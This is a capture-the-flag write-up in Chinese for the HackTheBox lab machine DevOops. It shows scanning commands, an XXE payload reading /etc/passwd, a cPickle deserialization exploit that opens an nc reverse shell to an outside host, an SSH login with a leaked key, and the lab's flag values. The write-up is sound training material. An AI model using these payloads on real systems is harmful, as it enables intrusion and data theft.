[Meachines] [Medium] DevOops XXE-XML-RSS+cPickle反序列化+git-leak权限提升

Information Gathering

IP Address	Opening Ports
10.10.10.91	TCP:22,5000

$ ip='10.10.10.91'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

bash 复制代码

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4290e335318d8b86172afb3890dac495 (RSA)
|   256 b7b6dcc44c879b752a008983edb28031 (ECDSA)
|_  256 d52f1953b28e3a4bb3dd3c1fc0370d00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

XXE XML RSS

$ feroxbuster -u 'http://10.10.10.91:5000'

http://10.10.10.91:5000/

https://anas0x1.medium.com/xxe-rss-validity-checker-root-me-712b96ae1109

http://10.10.10.91:5000/upload

RSS结构示例

XML 复制代码

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
    <channel>
        <title>Example RSS</title>
        <link>http://example.com/</link>
        <description>Example RSS Feed</description>
        <item>
            <title>Testing</title>
            <link>http://example.com/testing</link>
            <description>This is a test</description>
            <author>xxxx</author>
        </item>
    </channel>
</rss>

exp.xml

xml 复制代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<entry>
  <Author>&xxe;</Author>
  <Subject>Testing</Subject>
  <Content>This is a test</Content>
</entry>

cPickle deserialization

python 复制代码

import os
import cPickle as pickle
import base64

class Exploit(object):
    def __init__(self, cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        return (os.system, (self.cmd,))

print base64.urlsafe_b64encode(pickle.dumps(Exploit('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.33 443 >/tmp/f')))

User.txt

50894ddf8f7c71addb19c732f069336e

Privilege Escalation:git leak

复制代码

$ ssh root@127.0.0.1 -i /tmp/id_rsa

Root.txt

22c6e39d1e1159dbcffbf6e5b6ed50b2